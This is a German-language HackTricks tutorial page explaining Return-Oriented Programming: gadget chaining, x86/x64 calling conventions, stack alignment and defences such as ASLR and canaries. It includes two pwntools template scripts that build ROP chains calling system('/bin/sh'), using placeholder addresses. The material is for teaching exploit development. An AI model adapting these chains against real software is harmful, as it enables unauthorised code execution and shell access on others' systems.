.. | ||
ret2lib | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks in PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Grundlegende Informationen
Return-Oriented Programming (ROP) ist eine fortgeschrittene Exploitation-Technik, die verwendet wird, um Sicherheitsmaßnahmen wie No-Execute (NX) oder Data Execution Prevention (DEP) zu umgehen. Anstatt Shellcode einzuspeisen und auszuführen, nutzt ein Angreifer Codefragmente, die bereits in der Binärdatei oder in geladenen Bibliotheken vorhanden sind, bekannt als "Gadgets". Jedes Gadget endet typischerweise mit einer ret
-Anweisung und führt eine kleine Operation aus, wie das Verschieben von Daten zwischen Registern oder das Ausführen von arithmetischen Operationen. Indem ein Angreifer diese Gadgets miteinander verknüpft, kann er eine Nutzlast konstruieren, um beliebige Operationen auszuführen und somit NX/DEP-Schutzmechanismen zu umgehen.
Wie ROP funktioniert
- Kontrollfluss-Hijacking: Zunächst muss ein Angreifer den Kontrollfluss eines Programms übernehmen, typischerweise durch Ausnutzen eines Pufferüberlaufs, um eine gespeicherte Rücksprungadresse im Stapel zu überschreiben.
- Gadget-Verkettung: Der Angreifer wählt und verknüpft sorgfältig Gadgets, um die gewünschten Aktionen auszuführen. Dies könnte das Einrichten von Argumenten für einen Funktionsaufruf, den Aufruf der Funktion (z. B.
system("/bin/sh")
) und die Behandlung von erforderlichen Bereinigungen oder zusätzlichen Operationen umfassen. - Ausführung der Nutzlast: Wenn die anfällige Funktion zurückkehrt, beginnt sie anstelle einer legitimen Position mit der Ausführung der Kette von Gadgets.
Tools
Typischerweise können Gadgets mithilfe von ROPgadget, ropper oder direkt von pwntools (ROP) gefunden werden.
ROP-Kette im x86-Beispiel
x86 (32-Bit) Aufrufkonventionen
- cdecl: Der Aufrufer bereinigt den Stapel. Funktionsargumente werden in umgekehrter Reihenfolge (von rechts nach links) auf den Stapel geschoben. Argumente werden von rechts nach links auf den Stapel geschoben.
- stdcall: Ähnlich wie cdecl, aber der Callee ist für das Bereinigen des Stapels verantwortlich.
Auffinden von Gadgets
Angenommen, wir haben die erforderlichen Gadgets in der Binärdatei oder in ihren geladenen Bibliotheken identifiziert. Die Gadgets, an denen wir interessiert sind, sind:
pop eax; ret
: Dieses Gadget poppt den obersten Wert des Stapels in dasEAX
-Register und kehrt dann zurück, was es uns ermöglicht,EAX
zu kontrollieren.pop ebx; ret
: Ähnlich wie oben, aber für dasEBX
-Register, was die Kontrolle überEBX
ermöglicht.mov [ebx], eax; ret
: Verschiebt den Wert inEAX
an die Speicherstelle, auf dieEBX
zeigt, und kehrt dann zurück. Dies wird oft als write-what-where-Gadget bezeichnet.- Zusätzlich haben wir die Adresse der Funktion
system()
verfügbar.
ROP-Kette
Mit pwntools bereiten wir den Stapel für die Ausführung der ROP-Kette wie folgt vor, um system('/bin/sh')
auszuführen. Beachten Sie, wie die Kette beginnt mit:
- Eine
ret
-Anweisung zu Ausrichtungszwecken (optional) - Adresse der Funktion
system
(unter der Annahme, dass ASLR deaktiviert ist und die libc bekannt ist, weitere Informationen in Ret2lib) - Platzhalter für die Rücksprungadresse von
system()
"/bin/sh"
-String-Adresse (Parameter für die Systemfunktion)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP-Kette im x64-Beispiel
x64 (64-Bit) Aufrufkonventionen
- Verwendet die System V AMD64 ABI Aufrufkonvention auf Unix-ähnlichen Systemen, bei der die ersten sechs Integer- oder Zeigerargumente in den Registern
RDI
,RSI
,RDX
,RCX
,R8
undR9
übergeben werden. Zusätzliche Argumente werden auf dem Stack übergeben. Der Rückgabewert wird inRAX
platziert. - Die Windows x64 Aufrufkonvention verwendet
RCX
,RDX
,R8
undR9
für die ersten vier Integer- oder Zeigerargumente, wobei zusätzliche Argumente auf dem Stack übergeben werden. Der Rückgabewert wird inRAX
platziert. - Register: 64-Bit-Register umfassen
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
undR8
bisR15
.
Gadgets finden
Für unseren Zweck konzentrieren wir uns auf Gadgets, die es uns ermöglichen, das RDI-Register zu setzen (um den "/bin/sh"-String als Argument an system() zu übergeben) und dann die system()-Funktion aufzurufen. Wir nehmen an, dass wir die folgenden Gadgets identifiziert haben:
- pop rdi; ret: Pusht den obersten Wert des Stacks in RDI und gibt dann zurück. Wesentlich für die Festlegung unseres Arguments für system().
- ret: Ein einfaches Return, nützlich für die Stack-Ausrichtung in einigen Szenarien.
Und wir kennen die Adresse der system()-Funktion.
ROP-Kette
Im Folgenden finden Sie ein Beispiel, das pwntools verwendet, um eine ROP-Kette einzurichten und auszuführen, die darauf abzielt, system('/bin/sh') auf x64 auszuführen:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Stack Alignment
Die x86-64 ABI stellt sicher, dass der Stack 16-Byte ausgerichtet ist, wenn eine call-Anweisung ausgeführt wird. LIBC verwendet zur Leistungssteigerung SSE-Anweisungen (wie movaps), die diese Ausrichtung erfordern. Wenn der Stack nicht ordnungsgemäß ausgerichtet ist (was bedeutet, dass RSP kein Vielfaches von 16 ist), schlagen Aufrufe von Funktionen wie system in einer ROP-Kette fehl. Um dies zu beheben, fügen Sie einfach ein ret-Gadget vor dem Aufruf von system in Ihrer ROP-Kette hinzu.
Hauptunterschied zwischen x86 und x64
{% hint style="success" %} Da x64 Register für die ersten Argumente verwendet, erfordert es oft weniger Gadgets als x86 für einfache Funktionsaufrufe, aber das Finden und Verketten der richtigen Gadgets kann aufgrund der erhöhten Anzahl von Registern und des größeren Adressraums komplexer sein. Die erhöhte Anzahl von Registern und der größere Adressraum in der x64-Architektur bieten sowohl Möglichkeiten als auch Herausforderungen für die Exploit-Entwicklung, insbesondere im Kontext des Return-Oriented Programming (ROP). {% endhint %}
ROP-Kette im ARM64-Beispiel
ARM64-Grundlagen & Aufrufkonventionen
Überprüfen Sie die folgende Seite für diese Informationen:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Schutzmaßnahmen gegen ROP
- ASLR & PIE: Diese Schutzmaßnahmen erschweren die Verwendung von ROP, da sich die Adressen der Gadgets zwischen den Ausführungen ändern.
- Stack-Canaries: Bei einem BOF ist es erforderlich, den gespeicherten Stack-Canary zu umgehen, um Rückgabepunkte zu überschreiben und eine ROP-Kette zu missbrauchen.
- Mangel an Gadgets: Wenn nicht genügend Gadgets vorhanden sind, ist es nicht möglich, eine ROP-Kette zu generieren.
Auf ROP basierende Techniken
Beachten Sie, dass ROP nur eine Technik ist, um beliebigen Code auszuführen. Basierend auf ROP wurden viele Ret2XXX-Techniken entwickelt:
- Ret2lib: Verwenden Sie ROP, um beliebige Funktionen aus einer geladenen Bibliothek mit beliebigen Parametern aufzurufen (normalerweise etwas wie
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: Verwenden Sie ROP, um einen Aufruf an ein Systemaufruf vorzubereiten, z.B.
execve
, und führen Sie damit beliebige Befehle aus.
{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}
- EBP2Ret & EBP-Chaining: Ersteres wird EBP anstelle von EIP missbrauchen, um den Fluss zu steuern, und das zweite ist ähnlich wie Ret2lib, aber in diesem Fall wird der Fluss hauptsächlich mit EBP-Adressen gesteuert (obwohl es auch erforderlich ist, EIP zu steuern).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 Bit, Pie und nx aktiviert, kein Canary, überschreiben von RIP mit einer
vsyscall
-Adresse mit dem alleinigen Zweck, zur nächsten Adresse im Stack zurückzukehren, die eine teilweise Überschreibung der Adresse ist, um den Teil der Funktion zu erhalten, der die Flagge preisgibt. - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- Arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen